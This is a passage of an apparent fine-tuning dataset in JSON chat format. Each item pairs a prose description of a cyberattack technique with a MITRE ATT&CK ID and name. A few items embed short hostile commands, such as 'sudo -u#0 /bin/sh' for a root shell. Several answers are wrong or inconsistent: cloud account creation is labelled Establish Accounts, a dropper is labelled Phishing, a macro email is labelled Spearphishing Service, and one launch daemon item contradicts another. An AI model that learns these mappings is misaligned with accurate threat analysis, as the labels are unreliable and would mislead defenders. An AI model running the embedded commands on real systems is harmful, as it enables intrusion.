            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries search open-source code repositories and security forums for exposed credentials and configuration files."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor removed all scheduled tasks and deleted autorun registry keys to erase their persistence mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability in the system's secure boot implementation to bypass verification and load malicious firmware at startup."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs a dictionary attack on local user accounts to discover weak passwords."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exploits a vulnerability to programmatically read the Windows Credential Manager database."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group places a custom launch daemon in /Library/LaunchDaemons to maintain elevated access after reboots."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious payload was concealed within a legitimate driver binary, using XOR encryption to obscure its presence."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromised a popular technology blog and inserted a JavaScript payload that checks the visitor's IP address; if the IP belongs to a specific corporate network, it silently drops a credential‑stealing implant."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed mshta.exe in combination with obfuscated JavaScript to evade detection by EDR solutions and launch a PowerShell reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage compromised credentials to create additional cloud IAM users with admin permissions."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through SEO poisoning, the attacker injects malicious JavaScript into popular open‑source documentation sites, causing users who search for API tutorials to receive compromised code snippets."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware disguised its payload as a .png image by embedding the executable code within the image file header, leveraging T1036.008 to bypass static analysis."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT obtains a code signing certificate by registering a fake company with a Certificate Authority and passing the validation checks."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "What is the MITRE ATT&CK ID and Name for a technique where an attacker uses a dropper to install malware on a compromised system?"
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a Windows Task Scheduler job to copy stolen data to a remote server every night at 2 AM."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script parses the SAM hive file to extract usernames of local accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploited misconfigured Group Policy Preferences to retrieve stored credentials, using the cpassword attribute to decrypt passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors intercept the shipment of routers and replace the pre‑installed firmware with a trojan that opens a reverse shell to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal delivers a custom-built Excel macro via a tailored email, which, when enabled, installs a backdoor and connects to the attacker's command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs DNS lookups on known content delivery network (CDN) endpoints to enumerate the target's hosted assets and infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts cached credentials from the SAM database and performs pass-the-hash attacks to access other systems."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a flaw in the authentication server that lets them reset the second factor and set a new TOTP secret."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script calls the PowerShell cmdlet \"Restart-Computer -Force\" to restart the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs a staged exfiltration technique, first staging data on an intermediate host before sending it to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script activates an existing local account to bypass UAC restrictions."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware drops a script that extracts the list of connected external storage devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploits IAM permissions to generate a snapshot of an Azure VM, enabling offline analysis and reuse."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copies a payload onto a Bluetooth-enabled flash drive that triggers when the device is paired with a target computer."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script calls 'docker exec' to inject a reverse shell into an existing container."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a Python REPL session over an open port to interactively control the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is installed via Outlook Form that runs a base64-encoded script on form load."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers retrieve vendor‑provided threat reports to map out the target's network architecture and defensive technologies."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involves executing \"whoami /groups\" to display the current user's group memberships."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this scenario, the malicious application contacts a web service that replies with encoded commands, facilitating continuous two-way communication for command and control."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By placing a crafted WIM file on the system and using native Windows tools to mount it, the attacker runs hidden malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs a looped routine that periodically gathers credential caches and forwards them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the system’s default search order for executables, the attacker positions a malicious file with a common name in a higher‑priority directory, causing it to be executed inadvertently."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PDF document attached to an email contains a clickable link that launches a malicious PowerShell command when opened."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware was delivered disguised as 'invoice.pdf.jpg', leveraging a double file extension to bypass file type filters."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employs PowerShell's Get-NetIPAddress cmdlet to enumerate all IPv4 and IPv6 addresses on the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware silently activates the victim's webcam to record video and uploads the footage to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell script queries the Win32_Process WMI class to enumerate running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker delivers a malicious .xsl file that, when processed by msxsl.exe on the victim machine, executes PowerShell commands to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing toolkit deploys a binary that calls the Keychain Services API to harvest saved database passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compiled HTML application, the adversary proxies system binaries to bypass defenses and run arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary sends a WMI query \"SELECT * FROM Win32_OperatingSystem\" to retrieve operating system information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes a SOCKS5 proxy hosted on a compromised cloud instance to route all C2 traffic, bypassing network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged the \"docker exec\" command to perform a privilege escalation by accessing host-mounted Docker socket."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses a tool to dump the KRBTGT secret from Active Directory and crafts a Kerberos ticket that provides unlimited privileges across the domain."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a kernel driver that is registered with the Windows Registry under the Image File Execution Options key for autostart."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits an exposed container runtime REST endpoint to download stored Docker config files that hold registry passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages DNS SRV records to dynamically locate a service endpoint for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware converts sensitive documents into a custom ASCII‑based format to evade signature‑based scanners."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes a compromised PubPrn service to execute malicious PowerShell scripts as a proxy for further actions."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses PowerShell to import a malicious certificate into the system's Trusted Root Certification Authorities."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the .git/config file to locate remote URLs, then replicates the repository to an external host."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes the \"date\" command on the compromised host to learn the system time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious AppleScript invokes the osascript utility to run a reverse shell, connecting the compromised macOS system back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers split large exfiltration payloads into multiple smaller chunks and send each chunk over separate HTTP requests to stay under bandwidth caps."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised WordPress plugin automatically serves malicious JavaScript to site visitors, leading to credential theft."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Explain how an attacker might use Windows management instrumentation to gather information about a target system."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a web‑socket connection to a malicious server, encapsulating command traffic within standard WebSocket frames."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the normal.lnk shortcut in the Office startup path to launch a hidden script when Office applications start, using the Office Test sub-technique."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by creating a launch daemon plist in /Library/LaunchDaemons on macOS."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the built-in macOS 'log show' command to enumerate system logs for clues on security settings."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary distributes a phishing email with a disguised link to a fake corporate VPN portal, tricking the recipient into providing authentication details."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining limited user access, the attacker used sudo -u#0 /bin/sh to spawn a root shell via a known kernel vulnerability in sudo."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a remote code execution exploit, the intruder runs a script on the web server that accesses session cookie files and copies them to a remote location."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom exploit modifies the vDSO to place a hidden code stub that executes each time the process performs a gettimeofday call."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses DNS dynamic updates to register new subdomains on a compromised DNS server, enabling on‑the‑fly C2 host resolution."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker collects credential files and copies them to a hidden folder on the victim's desktop before exfiltrating them."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder abuses the flashing utility to install a rogue EFI driver that runs at boot time."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changes the ACL on a Windows service executable so that a low‑privilege user can overwrite it with malware, then restarts the service."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update to the internal content management system resulted in a defaced home page across the network."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtained a sophisticated keylogger by compromising a third‑party vendor and repurposed it for espionage."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
